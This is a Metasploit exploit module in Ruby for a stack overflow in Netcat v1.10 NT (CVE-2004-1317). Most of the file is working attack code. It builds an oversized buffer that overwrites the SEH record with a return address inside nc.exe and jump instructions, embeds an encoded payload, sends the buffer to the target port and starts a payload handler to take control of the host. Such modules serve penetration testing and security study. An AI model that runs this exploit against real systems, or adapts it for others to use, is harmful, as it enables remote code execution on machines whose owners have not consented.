##
# $Id$
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'


class Metasploit3 < Msf::Exploit::Remote

  include Msf::Exploit::Remote::Tcp

  def initialize(info = {})
    super(update_info(info,
      'Name'    => 'Netcat v1.10 NT Stack Overflow',
      'Description'  => %q{
      This module exploits a stack overflow in Netcat v1.10 NT. By sending
      an overly long string we are able to overwrite SEH. The vulnerability
      exists when netcat is used to bind (-e) an executable to a port in doexec.c.
      This module tested successfully using "c:\>nc -L -p 31337 -e ftp".
      },
      'Author'    => 'patrick',
      'Arch'      => [ ARCH_X86 ],
      'License'    => MSF_LICENSE,
      'Version'    => '$Revision$',
      'References'  =>
      [
        [ 'CVE', '2004-1317' ],
        [ 'OSVDB', '12612' ],
        [ 'BID', '12106' ],
        [ 'URL', 'http://www.milw0rm.com/exploits/726' ],
      ],
      'Privileged'    => false,
      'DefaultOptions'  =>
      {
        'EXITFUNC'  => 'thread',
      },
      'Payload'    =>
        {
          'Space'        => 236,
          'BadChars'      => "\x00\x0a\x0d",
          'StackAdjustment'  => -3500,
        },
      'Platform' => ['win'],
      'Targets'  =>
      [
      # Patrick - Tested OK 2007/09/26 w2ksp0, w2ksp4, xpsp2 en.
        [ 'Universal nc.exe', { 'Ret' => 0x0040a6ce } ], # p/p/r nc.exe
      ],
      'DisclosureDate' => 'Dec 27 2004',
      'DefaultTarget' => 0))
  end

  def autofilter
    false
  end

  def exploit
    connect

    sploit = rand_text(277, payload_badchars)
    sploit[0, payload.encoded.length] = payload.encoded
    sploit[236, 2] = Rex::Arch::X86.jmp_short(6)
    sploit[240, 4] = [target['Ret']].pack('V')
    sploit[244, 5] = Rex::Arch::X86.jmp(0xffffff08)

    sock.put(sploit)

    handler
    disconnect
  end
end